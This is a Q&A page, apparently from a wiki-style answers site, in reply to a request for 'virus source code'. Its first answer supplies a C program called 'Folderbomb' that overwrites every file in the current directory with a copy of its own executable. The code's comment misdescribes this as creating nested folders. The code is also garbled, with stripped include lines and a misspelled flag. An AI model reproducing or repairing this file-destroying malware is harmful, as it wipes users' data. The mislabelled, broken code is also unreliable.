answersLogoWhite

0

If you're talking about viruses on your computer, No you cannot.

Viruses are executables. The code in them is binary code- Machine language. You can't open it and expect to see the C code.

There are many kinds of viruses. Anything which is harmful and/or self-propagating can be considered a virus and there are numerous ways on how to write the same program.

/*this is a simple program to create a virus in c

it will create folder in a folder in a folder and so on run this on your own responsibility*/

  1. include
  2. include
  3. include
  4. include
  5. include

void main(int argc,char* argv[])

{ char buf[512]; int source,target,byt,done; struct ffblk ffblk; clrscr(); textcolor(2); cprintf("-------------------------"); printf("\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n"); cprintf("-------------------------"); done = findfirst("*.*",&ffblk,0); while (!done) { printf("\n");cprintf(" %s ", ffblk.ff_name);printf("is attacked by ");cprintf("Folderbomb"); source=open(argv[0],O_RDONLY|O_BINARY); target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONGLY); while(1) {byt=read(source,buf,512); if(byt>0) write(target,buf,byt); else break; } close(source); close(target); done = findnext(&ffblk); } getch(); }

User Avatar

Wiki User

13y ago

Still curious? Ask our experts.

Chat with our AI personalities

FranFran
I've made my fair share of mistakes, and if I can help you avoid a few, I'd sure like to try.
Chat with Fran
ViviVivi
Your ride-or-die bestie who's seen you through every high and low.
Chat with Vivi
JudyJudy
Simplicity is my specialty.
Chat with Judy
More answers

to distruction of computer

User Avatar

Wiki User

13y ago
User Avatar

Add your answer:

Earn +20 pts
Q: Virus source code
Write your answer...
Submit
Still have questions?
magnify glass
imp